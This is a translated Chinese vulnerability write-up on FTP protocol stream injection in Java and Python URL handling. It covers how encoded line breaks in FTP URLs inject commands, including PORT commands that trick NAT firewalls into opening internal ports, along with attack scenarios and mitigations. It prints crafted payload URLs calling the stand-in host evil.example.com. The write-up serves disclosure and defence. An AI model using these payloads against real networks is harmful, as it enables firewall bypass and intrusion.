翻译:WisFree
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
概述
近期,安全研究人员在Java的FTP URL处理代码中发现了一个协议流注入漏洞,研究表明,如果这个漏洞能够配合XXE漏洞或SSRF漏洞的话,那么攻击者就可以通过SMTP协议来让存在漏洞的Java应用在未经许可的情况下发送恶意邮件。
在过去的几年时间里,我一直都在研究这种协议注入漏洞。根据我的研究发现,这种FTP协议注入漏洞将允许攻击者绕过目标设备的防火墙,并与目标主机系统建立远程TCP链接(端口1024-65535)。存在类似漏洞的还有Python的urllib2和urllib库,但需要注意的是,这个Java漏洞将允许攻击者对桌面用户进行攻击,即便是用户没有启用任何的Java浏览器插件。
漏洞信息
在多种情况下,攻击者都可以利用恶意URL以及FTP协议流注入漏洞来对Java应用实施攻击。如果攻击者可以让目标Java应用尝试去获取恶意URL所指向的资源,那么攻击者就可以向客户端的协议流中注入FTP命令了。先看下面这个URL:
ftp://foo:bar%0d%0aINJECTED@example.net/file.png
这样就可以向TCP流数据中添加新的行,然后让接收信息的服务器认为URL中的“INJECTED”是客户端单独发送的一条命令。当Java应用获取到了上面的这个URL之后,会将其切分成多个单独的指令序列来发送:
USER foo
PASS bar
INJECTED
TYPE I
EPSV ALL
PASV
...
实际上在Java中,一条URL里的多个数据域都将导致注入攻击,包括URL里的用户名域以及地址中所指定的任何目录在内。虽然Python的网络库(Python2的urllib2以及Python3的urllib)同样存在类似的协议流注入漏洞,但是Python中的这种漏洞只允许攻击者通过URL中特定的目录名称来实施攻击,所以攻击是受限的。
FTP的安全问题
各位同学如果想要完全理解我接下来所要介绍的攻击,那么就必须扎实地掌握FTP协议的工作机制。FTP的通信需要建立两条链接,第一条即“控制通道”,第二条为“数据通道”。在控制通道中,客户端一般通过端口21与服务器建立一条TCP链接,然后通过这条链接来发送各种命令,而数据通道主要就是用来传输文件内容和其他数据的。传统的FTP协议描述为:FTP客户端会告诉服务器如何与其连接,然后FTP服务器再通过给定的IP地址和一个随机端口号来与客户端重连,连接成功后服务器便会通过一条临时信道来向客户端发送请求数据。但是随着网络地址转换(NAT)越来越常见,这种“传统模式”的FTP通信方式就会出问题了,所以这里要引入一种新的概念,即“被动模式”。在被动模式中,数据通道是由客户端发起建立的。随着时间的推移,防火墙也开始支持传统模式的FTP了,它们可以执行控制通道协议审查,然后利用动态路由算法来将服务器端发起的TCP连接定向转发到相应的主机。
实际上,传统模式的FTP和防火墙一直都是存在安全风险的。这种攻击技术的首次曝光是在2002年,当时有一名用户意外地在一个Web页面中加载了一个非特权Java Applet,这个Applet可以让目标主机建立一条指向攻击者服务器的FTP控制通道,然后欺骗防火墙开启任意TCP端口并保障通信的正常进行。但是十五年过去了,很多商业防火墙仍然默认支持传统模式的FTP。
欺骗防火墙
由于这个FTP控制通道注入漏洞允许我们控制FTP客户端所发送的命令,所以我们现在也许可以尝试一下十五年前的那种防火墙攻击。比如说,我们可以向流数据中注入一个恶意的PORT命令,当防火墙看到这个命令之后,它会将内部IP地址以及端口转换成外部IP及端口,然后启用一个临时的NAT规则并允许建立单向的TCP链接,然后将数据转发给FTP客户端。
假设目标主机的内部IP地址为10.1.1.1,攻击者服务器为evil.example.com。然后我们可以通过下面这个URL来欺骗防火墙开启1337端口:
ftp://u:p@evil.example.com/foodir%0APORT%2010,1,1,1,5,57/z.txt
在传统模式FTP的PORT命令中,端口号会被切分成两个ASCII码字节,即1337 == 5*256 + 57。但如果想要实现攻击的话,我们还要解决两个问题。
问题一:确定内部IP地址
首先,攻击者需要确定目标主机的内部IP地址,否则防火墙将会忽略我们注入的PORT命令。此时,攻击者可以发送一个URL,然后观察客户端的行为,然后再不断地重复操作,直到攻击成功。
比如说,攻击者可以给目标提供一个FTP URL,这个URL指向的是攻击者服务器的一个非常用端口:
ftp://u:p@evil.example.com:31337/foodir/z.txt
请注意,这里还不用进行协议流注入尝试。FTP客户端会尝试建立一个被动会话并获取z.txt文件,但如果攻击者的FTP服务器拒绝PASV命令,那么客户端将会以传统模式发送PORT命令。由于控制通道使用的是非标准端口,所以目标主机的防火墙不太可能会解析会话中的这个PORT命令,此时便会导致目标主机的内部IP地址被泄露给攻击者。
问题二:数据包分组
FTP是一种同步的、基于文本行的协议,通信双方的数据是按行传输的。这也就意味着通信的一方在得到对方响应之前,最多只能写一行命令。
但是在Linux下,实现攻击的前提必须是数据包头部出现有PORT命令才可以(我们为什么要针对Linux的conntrack模块呢?因为大多数商业防火墙都是安装在Linux平台中的。),因此下面这个URL并不会让Linux防火墙开启目标端口:
ftp://u:p@evil.com/foodir%0APORT%2010,1,1,1,5,57/z.txt
如果你仔细分析一下这个URL。你就会发现客户端所发送的命令被划分成了单独的分组:
--Packet 1--
USER u
--Packet 2--
PASS p
--Packet 3--
TYPE I
--Packet 4--
CWD foodir
PORT 10,1,1,1,5,57
--Packet 5--
...
由于PORT命令出现在了Packet 4中,所以Linux将会忽略它,因此我们要想办法让客户端将PORT命令放在数据包的头部。我们知道Java或Python可以在一次write(2)调用中发送两条指令,那么如果我们使用的CWD命令足够长,并且填充满了一个TCP数据包之后,那么PORT命令自然也就会被挤到下一个数据包的头部了。
攻击PoC
为了验证攻击,我专门开发了一个攻击脚本,但是在Oracle公司和Python开发者修复相应漏洞之前我不会将这个脚本发布出来。
脚本首先会给攻击者提供一个URL来对目标主机进行测试,然后自动建立一个恶意FTP服务器。当服务器接收到第一个请求之后,FTP服务器便会计算出一个长度足以让PORT命令出现在数据包头部的新的URL。一般来说,完整的攻击过程只需要三次SSRF攻击,三次攻击之后便可以在目标主机上开启一个TCP端口,而此后的每一次额外的SSRF攻击都可以另外开启一个TCP端口。由于大多数防火墙不允许客户端通过1024以下的端口来建立数据通道,因此攻击者的目标端口范围一般是1024-65535。
攻击场景
1. JNLP文件
这也许是最令人惊讶的一种攻击场景了,如果安装了Java的桌面用户访问了一个恶意站点,那么即使Java applet被禁用了,攻击者仍然可以让Java Web去解析JNLP文件,而这些文件中将包含可以触发该漏洞的恶意FTP URL。聪明的攻击者首先会确定目标用户的内部IP地址,然后判断出恰当的数据包分组,最后利用漏洞来一次性地完成攻击(仅用一个JNLP文件便可以开启多个通信端口)。由于Java会在发出安全警告之前完成JNLP文件的解析工作,所以攻击会在用户毫不知情的情况下完成。
2. 中间人攻击
如果Java或Python(urllib)应用正在访问某个HTTP URL,那么拥有特权的网络攻击者就可以向网络流量中注入HTTP重定向来发动攻击。
3. 服务器端请求伪造(SSRF)
如果应用接收HTTP、HTTPS或FTP URL的话,那么攻击过程就很容易了,因为攻击者可以直接将目标客户端重定向至一个恶意的FTP URL。
4. XML外部实体注入攻击(XXE)
由于XML解析设置的问题,大多数XXE漏洞在实际情况下都是无法利用的。。但是,在某些情况下,SSRF仍然可以通过DOCTYPE头来实现。如果XML解析器支持外部实体,那么我们就可以在一个单一的文件中注入URL,然后由此来确定目标的内部IP地址,并确定分组大小,最终利用动态重定向来完成一次XXE攻击。
给厂商的建议
商业防火墙供应商
默认禁用传统模式的FTP,在配置接口的过程中给用户提供必要的警告提示。
Linux netfilter团队
在conntrack的开发文档中注明开启FTP转换可能带来的安全风险,这样也许可以让其他的开发者以及商业设备提供商避免再犯同样的错误。
其他软件制造商和服务提供商
对自家应用或服务进行安全审查,确保它们不会受到SSRF或XXE攻击的影响。
缓解方案
1. 暂时将桌面系统中安装的Java卸载掉。如果考虑到其他应用的依赖问题,用户也可以暂时禁用掉浏览器中所有的Java浏览器插件,并且取消.jnlp文件的关联。
2. 更新系统中所有的Java和Python版本。
3. 禁用防火墙对传统模式FTP的支持,只允许被动模式。